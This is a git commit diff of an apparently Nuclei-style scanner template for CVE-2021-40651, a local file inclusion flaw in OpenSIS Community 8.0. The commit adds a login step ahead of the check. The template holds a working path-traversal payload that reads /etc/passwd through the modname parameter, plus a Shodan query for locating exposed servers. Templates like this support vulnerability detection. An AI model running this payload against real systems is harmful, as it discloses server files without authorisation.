added login req

patch-1
Ritik Chaddha 2024-02-05 10:58:25 +05:30 committed by GitHub
parent 6452c15146
commit 4fbf38e8e8
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 20 additions and 14 deletions

View File

@ -7,10 +7,10 @@ info:
description: |
OS4Ed OpenSIS Community 8.0 is vulnerable to a local file inclusion vulnerability in Modules.php (modname parameter), which can disclose arbitrary file from the server's filesystem as long as the application has access to the file.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-40651
- https://www.exploit-db.com/exploits/50259
- https://github.com/MiSERYYYYY/Vulnerability-Reports-and-Disclosures/blob/main/OpenSIS-Community-8.0.md
- https://www.youtube.com/watch?v=wFwlbXANRCo
- https://nvd.nist.gov/vuln/detail/CVE-2021-40651
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
@ -18,21 +18,27 @@ info:
cwe-id: CWE-22
cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:community:*:*:*
metadata:
shodan-query: title:"openSIS"
max-request: 1
tags: cve,cve2021,lfi,os4ed,opensis
shodan-query: title:"openSIS"
tags: cve,cve2021,lfi,os4ed,opensis,authenticated
http:
- method: GET
path:
- "{{BaseURL}}/Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login="
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
USERNAME={{username}}&PASSWORD={{password}}&language=en&log=
- |
GET /Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login= HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
- type: dsl
dsl:
- "regex('root:.*:0:0:', body)"
- 'contains(body_1, "openSIS")'
- "status_code == 200"
condition: and